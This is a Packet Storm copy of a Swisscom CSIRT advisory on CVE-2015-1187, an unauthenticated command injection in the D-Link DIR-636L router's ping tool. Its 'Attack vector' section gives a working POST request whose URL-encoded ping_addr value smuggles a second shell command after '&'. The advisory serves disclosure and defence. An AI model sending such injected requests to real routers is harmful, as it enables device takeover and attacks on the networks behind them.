exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

D-Link DIR636L Remote Command Injection

D-Link DIR636L Remote Command Injection
Posted Mar 2, 2015
Authored by Stephan Rickauer, Tiago Caetano Henriques

D-Link DIR636L suffers from a remote command injection vulnerability.

tags | exploit, remote
advisories | CVE-2015-1187
SHA-256 | df7948a9c798ebc1230638924d141d539e501afcc6de8a28a912424e4ab221c5

D-Link DIR636L Remote Command Injection

Change Mirror Download
#############################################################################
#
# SWISSCOM CSIRT SECURITY ADVISORY - http://www.swisscom.com/security
#
#############################################################################
#
# CVE ID: CVE-2015-1187
# Product: D-Link DIR636L
# Vendor: D-Link
# Subject: Remote Command Injection - Incorrect Authentication
# Effect: Remotely exploitable
# Author: Tiago Caetano Henriques, tiago.caetanohenriques AT swisscom.com
# Stephan Rickauer, Swisscom CSIRT (csirt AT wisscom.com)
# Date: March 2nd 2015
#
#############################################################################


Introduction
------------
Tiago Caetano Henriques discovered a security flaw in D-link DIR-636L router
that enables an attacker on the same network to execute arbitrary commands
without being authenticated.


Vulnerable
----------
D-Link DIR-636L and possibly other versions as seen on [1].


Patches
-------
None existant at the moment.


Description
-----------
The D-Link DIR636L (possibly others) incorrectly filters input on the 'ping'
tool which allows to inject arbitrary commands into the router. Secondly,
authentication is not being performed correctly. This enables a remote
attacker to gain full control of the router, for example to attack other
networks in a DDoS style attack, or even expose computers behind these devices
to the internet as you are able to change firewall/nat rules on this router.


Attack vector
-------------
A URL encoded POST request with the values in front of ping_addr= such as the
following, will go through and will execute the command in front of &.
POST /ping.ccp HTTP/1.1
Host: 192.168.0.1
...
X-Requested-With: XMLHttpRequest
Referer: http://192.168.0.1/tools_vct.asp
Content-Length: 64
Cookie:

ccp_act=ping_v4&ping_addr=%31%39%32%2e%31%36%38%2e%30%2e%31%30%37%20%26%20%2f
%62%69%6e%2f%70%69%6e%67%20%39%34%2e%32%33%2e%37%38%2e%32%33%31


Milestones
----------
Nov 30th 2014 Vulnerability discovered by Tiago Caetano Henriques
Dec 18th 2014 Vulnerability reported to Swisscom CSIRT
Jan 7th 2015 CVE ID requested at MITRE
Jan 18th 2015 CVE ID 2015-1187 assigned by MITRE
Feb 2th 2015 Vendor contact established and provided with technical details
Feb 16th 2015 Vendor acknowledged issue and communicates time line for patches
Feb 26th 2015 Full Disclosure by Peter Adkins
Mar 2nd 2015 Forced Public Release of this Advisory due to the previous
Full Disclosure at [1]

References
----------
[1] https://github.com/darkarnium/secpub/tree/master/Multivendor/ncc2


Login or Register to add favorites

File Archive:

October 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Oct 1st
    39 Files
  • 2
    Oct 2nd
    23 Files
  • 3
    Oct 3rd
    18 Files
  • 4
    Oct 4th
    20 Files
  • 5
    Oct 5th
    0 Files
  • 6
    Oct 6th
    0 Files
  • 7
    Oct 7th
    0 Files
  • 8
    Oct 8th
    0 Files
  • 9
    Oct 9th
    0 Files
  • 10
    Oct 10th
    0 Files
  • 11
    Oct 11th
    0 Files
  • 12
    Oct 12th
    0 Files
  • 13
    Oct 13th
    0 Files
  • 14
    Oct 14th
    0 Files
  • 15
    Oct 15th
    0 Files
  • 16
    Oct 16th
    0 Files
  • 17
    Oct 17th
    0 Files
  • 18
    Oct 18th
    0 Files
  • 19
    Oct 19th
    0 Files
  • 20
    Oct 20th
    0 Files
  • 21
    Oct 21st
    0 Files
  • 22
    Oct 22nd
    0 Files
  • 23
    Oct 23rd
    0 Files
  • 24
    Oct 24th
    0 Files
  • 25
    Oct 25th
    0 Files
  • 26
    Oct 26th
    0 Files
  • 27
    Oct 27th
    0 Files
  • 28
    Oct 28th
    0 Files
  • 29
    Oct 29th
    0 Files
  • 30
    Oct 30th
    0 Files
  • 31
    Oct 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close